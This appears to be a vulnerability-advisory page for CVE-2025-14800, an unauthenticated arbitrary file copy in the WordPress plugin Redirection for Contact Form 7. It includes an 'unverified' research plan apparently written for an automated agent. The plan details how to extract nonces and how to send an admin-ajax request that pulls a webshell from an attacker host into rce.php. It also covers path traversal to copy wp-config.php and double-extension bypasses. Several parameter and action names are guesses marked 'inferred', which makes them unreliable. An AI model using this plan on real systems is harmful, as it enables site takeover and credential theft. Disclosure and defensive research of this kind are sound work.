CVE-2025-14800

Redirection for Contact Form 7 <= 3.2.7 - Unauthenticated Arbitrary File Copy via move_file_to_upload

highUnrestricted Upload of File with Dangerous Type
8.1
CVSS Score
8.1
CVSS Score
high
Severity
3.2.8
Patched in
1d
Time to patch

Description

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'move_file_to_upload' function in all versions up to, and including, 3.2.7. This makes it possible for unauthenticated attackers to copy arbitrary files on the affected site's server. If 'allow_url_fopen' is set to 'On', it is possible to upload a remote file to the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.2.7
PublishedDecember 20, 2025
Last updatedDecember 21, 2025
Affected pluginwpcf7-redirect

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on analyzing and exploiting CVE-2025-14800 in the **Redirection for Contact Form 7** plugin. The vulnerability allows unauthenticated attackers to copy arbitrary files to the server's upload directory, potentially leading to Remote Code Execution (RCE) if `allow_url_fopen`…

Show full research plan

This research plan focuses on analyzing and exploiting CVE-2025-14800 in the Redirection for Contact Form 7 plugin. The vulnerability allows unauthenticated attackers to copy arbitrary files to the server's upload directory, potentially leading to Remote Code Execution (RCE) if allow_url_fopen is enabled or sensitive file disclosure if local files are copied.

1. Vulnerability Summary

The vulnerability exists in the move_file_to_upload function within the Redirection for Contact Form 7 plugin (up to version 3.2.7). The function fails to validate the source file path/URL and the file type of the destination. Because the function is reachable via an unauthenticated entry point (likely an AJAX action or a hook triggered during form submission), an attacker can supply an arbitrary source (local file or remote URL) to be copied into the WordPress uploads directory.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX (/wp-admin/admin-ajax.php) or a Contact Form 7 submission hook.
  • Action: Likely wpcf7r_move_file_to_upload (inferred) or triggered as part of the wpcf7_mail_sent / wpcf7_submit workflow where the plugin processes redirect logic.
  • Payload Parameter: Likely file_url or source_path and file_name (inferred).
  • Authentication: None (Unauthenticated).
  • Preconditions:
    • Plugin version <= 3.2.7 must be active.
    • Contact Form 7 must be active.
    • For remote file upload: allow_url_fopen must be On in php.ini.

3. Code Flow (Inferred)

  1. An unauthenticated request is sent to admin-ajax.php with an action related to file handling or during a standard CF7 form submission.
  2. The plugin's handler calls move_file_to_upload().
  3. The function retrieves a source path/URL from the request (e.g., $_POST['file_url']).
  4. The function determines the destination path within the WordPress uploads directory using wp_upload_dir().
  5. The function uses copy() or file_put_contents(..., file_get_contents(...)) to move the file.
  6. SINK: The copy() or equivalent function executes without verifying that the source is a legitimate temporary upload or that the destination extension is restricted (e.g., preventing .php).

4. Nonce Acquisition Strategy

Contact Form 7 and its extensions frequently use nonces for AJAX submissions.

  1. Identify the Shortcode: Find the standard CF7 shortcode (e.g., [contact-form-7 id="123" title="Contact form 1"]) and the Redirection settings for that form.
  2. Test Data Setup:
    • Create a Contact Form 7 form.
    • Enable "Redirection" settings for that form.
    • Create a public page: wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-form-7 id="XX" title="Contact form 1"]' (replace XX with the actual ID).
  3. Extraction:
    • Navigate to the newly created page using browser_navigate.
    • CF7 usually localizes its settings in wpcf7 or similar global JS objects.
    • Execute browser_eval("wpcf7.apiSettings.nonce") or check for hidden fields: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").
    • Check for plugin-specific nonces (e.g., wpcf7r_nonce or redirection_nonce).

5. Exploitation Strategy

The goal is to copy a remote webshell to the uploads directory.

Step 1: Remote File Copy (RCE)

  • Request Type: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wpcf7r_move_file_to_upload (inferred - the agent must verify the exact action name in the source code).
    • source_url: http://<attacker-ip>/shell.php.txt (A text file containing PHP code).
    • file_name: rce.php
    • _wpnonce: (The nonce obtained in Step 4).

Step 2: Local File Copy (Information Disclosure)

If allow_url_fopen is off, attempt to move wp-config.php to a readable location.

  • Parameters:
    • action: wpcf7r_move_file_to_upload
    • source_url: ../../../wp-config.php (Path traversal to reach the root).
    • file_name: config-backup.txt

6. Test Data Setup

  1. Install Plugins: Install contact-form-7 and wpcf7-redirect version 3.2.7.
  2. Create Form: Create a basic CF7 form.
  3. Configure Redirect: In the "Redirect Settings" tab of the form, ensure the redirection logic is active.
  4. Create Page: Place the form on a published page.
  5. Environment Check: Ensure wp-content/uploads is writable by the web server.

7. Expected Results

  • HTTP Response: The server should return a 200 OK, possibly with a JSON body indicating success or the new file URL.
  • File System: A new file (e.g., rce.php) should appear in wp-content/uploads/wpcf7-redirect/ (or similar subdirectory).

8. Verification Steps

  1. Check File Existence: Use WP-CLI to verify the file was created:
    wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/rce.php') ? 'Success' : 'Failure';"
  2. Verify Content: Check if the content matches the expected payload:
    wp eval "echo file_get_contents(wp_upload_dir()['basedir'] . '/rce.php');"
  3. RCE Check: Attempt to access the file via the browser and execute a command (e.g., phpinfo()).

9. Alternative Approaches

  • Submission Hook: If there is no direct AJAX action, the vulnerability might be triggered by submitting a standard CF7 form. In this case, the payload would be included in the wpcf7_submit request.
  • Path Traversal: If the file_name parameter is also vulnerable to traversal, try writing the file outside of the uploads directory (e.g., into the plugin folder or the web root).
  • Double Extensions: If there is a weak filter, try shell.php.jpg or shell.php.php.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.